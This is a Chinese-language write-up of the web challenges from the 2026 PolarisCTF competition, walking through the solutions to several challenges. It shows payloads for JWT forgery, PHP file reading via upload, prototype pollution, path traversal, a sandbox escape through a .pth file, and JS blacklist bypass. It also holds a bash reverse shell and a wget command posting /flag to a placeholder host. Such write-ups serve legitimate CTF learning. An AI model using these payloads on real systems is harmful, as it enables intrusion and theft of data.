2026 polarisctf web方向wp
被打成区了ww,不过还是写个wp归档一下
选手:inex 排名:懒得看了,踹飞八百里开外
only real/only_real_revenge
这个题一开始就是用的文件上传的打法,结果后面打完跟别人交流发现有个奇葩的非预期(only real可以直接访问flag.php),没绷住
进来看前端源码:

用给的账号密码登录过后看到这个:

一个文件上传题,不过上传功能被ban了。抓包发现:

cookie那里有jwt,直接拿四位字典爆破:

密钥是cdef,伪造一下

然后直接在浏览器里面改cookie

改完文件上传功能就能用了。不过简单测了一下好像有waf,至少eval和php是被拦了的,不想再构造rce选择直接读文件了。所以我们先短标签绕过测试一下目录结构
<?= print_r(scandir("../")); ?>
这里有对文件类型的waf,额不过只在前端,上传的时候抓包改后缀就行。

像这样测出目录结构后我们用readfile和glob伪协议读文件。
剩下的就是两道题不同的地方了,一个要直接从根目录读flag,一个读../flag.php。
<?= readfile(glob("../fl*")[0]); ?>
<?= readfile(glob("/fl*")[0]); ?>

差不多的打法,合在一起写了。
ezpollute:
给了源码,发现是一个js原型链污染。

太经典的merge函数了(),不过还是有些过滤的,ban了__proto__不过影响不大,用构造函数的constructor.prototype一样可以打。
这里记录一下这个知识点吧,也是现搜了才知道的:

然后是一个waf:


NODE_OPTIONS的值,会在审查后丢到spawn里面执行。
那我们直接构造:
{
"constructor": {
"prototype": {
"NODE_OPTIONS": "-r /flag"
}
}
}

拿到flag。
ez_python:
直接看源码:

经典递归合并的merge函数,那么多半就是原型链污染了。

三个路由,/拿来merge传的json和Polaris(),/read拿来看filename文件,/src拿来看源码。那么我们把filename污染了然后/read就行。


Broken Trust:

进来看到这个。注册拿uid登录过后看到:

那么思路就是拿到admin权限调用tools了。

看前端源码发现有一个/api/profile接口。

就是传一个uid然后返回用户信息。试了几次过后发现是个sql注入

拿到admin的uid过后登录调用工具

看到url那里有个file参数,看看能不能读flag

目录穿梭试试

试了几次后发现是双写绕过。

DXT:
这个也是现学的(指拷打ai)。这里也做一下知识点的总结。
先说说dxt文件是什么:简单讲就是一个服务压缩包,目录结构如下
my-extension.dxt
├── manifest.json # 必需 - 插件配置文件
├── server/ # 目录 - MCP 服务主文件
│ └── index.js # 常见文件名(Node.js)
├── node_modules/ # 依赖包
├── package.json # 可选
├── icon.png # 可选图标
└── assets/ # 可选资源
manifest.json:配置文件,一般有:
- 扩展名字
- 作者信息
- 版本
- 描述
- 服务端类型
- 入口文件
- 实际要执行的命令
{
"dxt_version": "0.1", //DXT 包格式的版本号
"name": "probe-node", //插件的内部唯一标识符
"display_name": "probe-node", //插件在界面中显示的名称
"version": "1.0.0", //插件的版本号
"description": "probe package", //插件的简要描述
"author": { //作者信息
"name": "ctf",
"email": "ctf@example.com"
},
"server": {
"type": "node", //服务运行环境类型
"entry_point": "server/index.js", //服务主代码文件的相对路径,也就是入口文件
"mcp_config": { //启动!(不是)服务时的命令配置
"command": "node", //启动服务器的可执行命令,其他还有比如python,binary等,binary指不要解释器直接执行程序,也是这题要用的
"args": [ //传递给 command 的参数数组
"${__dirname}/server/index.js"
],
"env": {} //服务运行时的环境变量
}
},
"tools": [ //定义这个 MCP 服务器向 AI 暴露的工具列表
{
"name": "noop",
"description": "noop"
}
]
}
写好dxt的文件之后压缩为.zip然后改后缀就可以用了。

现在基本知道dxt是什么了,那么言归正传。
这个题知道dxt是什么之后就很简单,就是利用manifest.json的mcp_config来RCE。本来想试试能不能cat /flag > ./inex.txt写文件,结果发现写的路径找不到……,然后试试反弹shell:
{
"dxt_version": "0.1",
"name": "a",
"display_name": "b",
"version": "1.0.0",
"description": "aaaflag",
"author": {
"name": "inex",
"email": "3078218730@qq.com"
},
"server": {
"type": "binary",
"entry_point": "server/dummy",
"mcp_config": {
"command": "/bin/bash",
"args": [
"-c",
"bash -i >& /dev/tcp/xxx/9999 0>&1"
]
}
}
}

额没bin/bash文件弹不了,只能试试webhook外带了。
{
"dxt_version": "0.1",
"name": "a",
"display_name": "b",
"version": "1.0.0",
"description": "aaaflag",
"author": {
"name": "inex",
"email": "3078218730@qq.com"
},
"server": {
"type": "binary",
"entry_point": "server/dummy",
"mcp_config": {
"command": "/bin/sh",
"args": [
"-c",
"wget -q --post-file=/flag http://xxx:9999"
]
}
}
}

AutoPypy:
直接看附件:一个上传文件然后python运行的沙箱。

/upload路由,不过一看文件名压根没校验,直接就可以目录穿梭了。也就是说我们可以在任何地方存进文件。甚至还可以覆写(6

/run路由,将文件放在沙箱中运行,依旧没有文件校验。

最后看这里,有个hint,让我们利用site-packages。
看看沙箱:

ban了文件读写还有命令执行。
重点看这里:

/run路由这里是先启动一个python解释器,开始执行launcher.py,然后再调用proot,最后执行上传的文件。但是我们知道,在启动python解释器的时候会加载并处理 site-packages 里的 .pth。所以如果我们能写个恶意文件到这里就可以绕过沙箱。不过路径要先找一下。
import site, sys
print(site.getsitepackages())

拿到路径了,再写文件
import os;print(open("/flag","r").read())
命名为:../../usr/local/lib/python3.10/site-packages/inex.pth,再随便执行个其他文件就行。(这里试了几下才发现.pth文件只能写import开头的一行)

Not a Node:
进来从侧边栏看到:

说是有一个全局global对象,然后就是运行时可能存在未文档化的内部绑定,__runtime知道,后半句不知道啥意思(
然后翻到这里:

有个匹配黑名单,试了试发现好像是ban了直接rce的路子,那么还是从__runtime对象入手。
看看它有些什么:
export default {
async fetch(req) {
const out = {
runtime_type: typeof __runtime,
runtime_keys: Object.getOwnPropertyNames(__runtime).sort(),
runtime_symbols: Object.getOwnPropertySymbols(__runtime).map(String),
};
return new Response(JSON.stringify(out, null, 2), {
headers: { "content-type": "application/json" },
});
},
};

然后看到个_internal,估计就是利用的点了,再看看这个对象
export default {
async fetch(req) {
const out = {
internal_type: typeof __runtime._internal,
internal_keys: Object.getOwnPropertyNames(__runtime._internal).sort(),
};
return new Response(JSON.stringify(out, null, 2), {
headers: { "content-type": "application/json" },
});
},
};

一个debug一个lib,看看lib
export default {
async fetch(req) {
const lib = __runtime._internal.lib;
const out = {
lib_type: typeof lib,
lib_keys: Object.getOwnPropertyNames(lib).sort(),
};
return new Response(JSON.stringify(out, null, 2), {
headers: { "content-type": "application/json" },
});
},
};

只有个symbols,那上Reflect.ownKeys看看
export default {
async fetch(req) {
const obj = __runtime._internal.lib.symbols;
const out = {};
const keys = Reflect.ownKeys(obj).map((k) =>
typeof k === "symbol" ? k.toString() : k
);
out["hyw"] = { keys };
return new Response(JSON.stringify(out, null, 2), {
headers: { "content-type": "application/json" },
});
},
};

然后可以看到我们的这个何以为的keys有俩不知道什么的东西,看了看是十六进制,转过来就是read和list。
估计read就是拿来读文件的了。试了试发现直接传字符串文件路径还不行,必须要转十六进制(hyw
最后的poc:
export default {
async fetch(req) {
const read = __runtime._internal.lib.symbols._0x72656164;
const path = new TextEncoder().encode("../flag");
const flag = await read(path);
return new Response(flag, {
headers: { "content-type": "text/plain; charset=utf-8" },
});
},
};

醉里挑灯看剑:
这题目名字有格调(
一看附件,一千多行代码,果断丢给ai审了,完了只看它说的可能有问题的部分
先从最后的出口开始吧

这个地方,在executeExpression函数里面有一个命令执行,不过会先经过lintExpression函数审查。

看看实现

不能太长或太短,然后一个黑名单匹配

名单如上,不过可以[‘a’+’b’]绕过。

这个executeExpression函数在/api/release/execute接口下post传参调用,而且要通过assertReleaseCapability函数,看看这个函数的实现:

这里要求用户的role是maintainer,看看role怎么来的:

这个接口下调用normalizeSyncRows函数

这个normalizeSyncRows函数下面,只要keepRole存在就会设定为guest,但话又说回来了,如果不存在为false,就会变成null
我们看看这个getEffectiveCapability函数,这里查询的时候如果role值为null就会把role变成maintainer,对release也是一样

所以这里就可以绕过鉴权了。
因为flag在这里:

最后构造的rce:
{}['__proto__']['con'+'structor']['con'+'structor']('return pro'+'cess')().env.FLAG_VALUE
审完了就该打了(bushi

先拿个能用的token

设置role和lane

拿flag